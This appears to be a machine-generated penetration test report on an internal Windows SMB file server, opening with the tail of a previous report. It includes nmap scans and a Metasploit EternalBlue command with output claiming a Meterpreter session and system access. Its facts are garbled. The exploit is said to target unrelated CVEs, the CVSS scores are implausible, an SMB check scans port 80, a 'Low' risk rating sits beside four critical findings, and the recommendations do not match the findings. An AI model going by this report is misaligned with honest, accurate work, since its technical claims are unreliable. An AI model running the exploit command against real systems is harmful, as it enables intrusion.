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3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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Next Steps:
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- Address critical vulnerabilities within 24 hours
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- Remediate high risk findings within 7 days
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- Schedule retesting after fixes are implemented
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- Conduct developer security training focusing on OWASP Top 10
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--- END REPORT ---
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=== Automated Penetration Test Report ===
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Test ID: PT-2025-05-11-0002
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Date: 2025-05-11 19:07:18
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Tester: mchen
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Organization: SecureNet Solutions
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Confidentiality: STRICTLY CONFIDENTIAL
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Test Objective: execute penetration testing on the SMB file server (192.168.81.54)
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Scope: Internal security assessment
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Rules of Engagement: Standard
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=== Discovery Phase ===
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Tester: nmap -sV -O --script=banner -p445,139 192.168.81.54
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Tool Output:
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Starting Nmap 7.92 at 2025-05-11 19:07:18
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Nmap scan report for 192.168.81.54
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Host is up (0.42s latency).
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MAC Address: 98:8E:72:BF:F5:AB (Cisco)
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445/tcp open microsoft-ds unknown
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139/tcp open microsoft-ds unknown
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OS details: Windows Server 2016
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OS CPE: cpe:/o:microsoft:windows_server_2016:-
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Network Distance: 3 hops
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Service Info: Hostname: smb-file-server-01
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Nmap done: 1 IP address (1 host up) scanned in 7 seconds
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=== Vulnerability Assessment ===
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Tools used:
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- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
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- Burp Suite: Manual testing, session analysis, and business logic flaw identification
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- Nmap scripts: Service enumeration and vulnerability verification
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- Metasploit: Exploit verification and proof-of-concept testing
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## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass)
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CVE: CVE-2021-36942
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6)
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Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
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Test Method: nmap --script vuln -p80 192.168.81.54
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Result:
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Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE)
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CVE: CVE-2020-0796
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CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5)
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Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
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Test Method: nmap --script vuln -p80 192.168.81.54
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Result:
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Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile.
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Remediation: See vendor documentation
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=== Exploitation Phase ===
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Tool: Metasploit Framework 6.1
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Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.81.54; set RPORT 445; exploit"
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Output:
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[*] Exploiting known vulnerabilities:
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- CVE-2020-0796 (CVE-2020-0796)
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- CVE-2021-36942 (CVE-2021-36942)
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[*] Started reverse TCP handler on port 445
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[*] Sending payload...
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[*] Sending stage (354 bytes)
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[*] Meterpreter session 8 opened
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[*] Session established
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[*] Gained system access
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[*] Connected to 192.168.81.54
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[*] Post-exploitation modules available:
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- hashdump
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- migrate
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- persistence
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=== Final Assessment ===
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Overall Risk Rating: Low
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Confidence Level: Low
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Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation
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Key Findings:
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- 4 critical vulnerabilities identified
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- 2 high risk issues found
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- System configuration needs hardening
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Recommendations:
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1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring.
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2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
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